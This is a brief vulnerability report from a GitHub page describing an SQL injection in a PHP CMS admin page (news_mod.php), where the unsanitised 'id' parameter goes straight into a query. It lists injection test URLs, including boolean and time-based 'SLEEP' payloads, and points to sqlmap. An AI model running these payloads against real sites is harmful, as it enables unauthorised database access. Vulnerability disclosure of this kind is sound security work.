jsjbcyber Update bug_i History

1 contributor

27 lines (25 sloc) | 1.07 KB

```
Build environment with PHP5.
--------------------------------
affected source code file: /admin/news/news_mod.php
--------------------------------
affected source code:
  .....
    <?php
        session_start();
        require '../session.php'; include '../../inc/const.php';
        include '../../inc/editor/fckeditor.php';
        $id= getvar('id');
        $list = $db->getOneRow(get_sql("select * from {pre}content where id = " . $id));
    ?>
     .....

--------------------------------
affected reason:
      We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
--------------------------------
affected executable:
  Like this:
            http://xx.xx.com/admin/news/news_mod.php?id=1'
            http://xx.xx.com/admin/news/news_mod.php?id=1 and 1=1
            http://xx.xx.com/admin/news/news_mod.php?id=1 and 1=2
            http://xx.xx.com/admin/news/news_mod.php?id=1 RLIKE SLEEP(2)

Then, we can use tools like sqlmap for more information.
```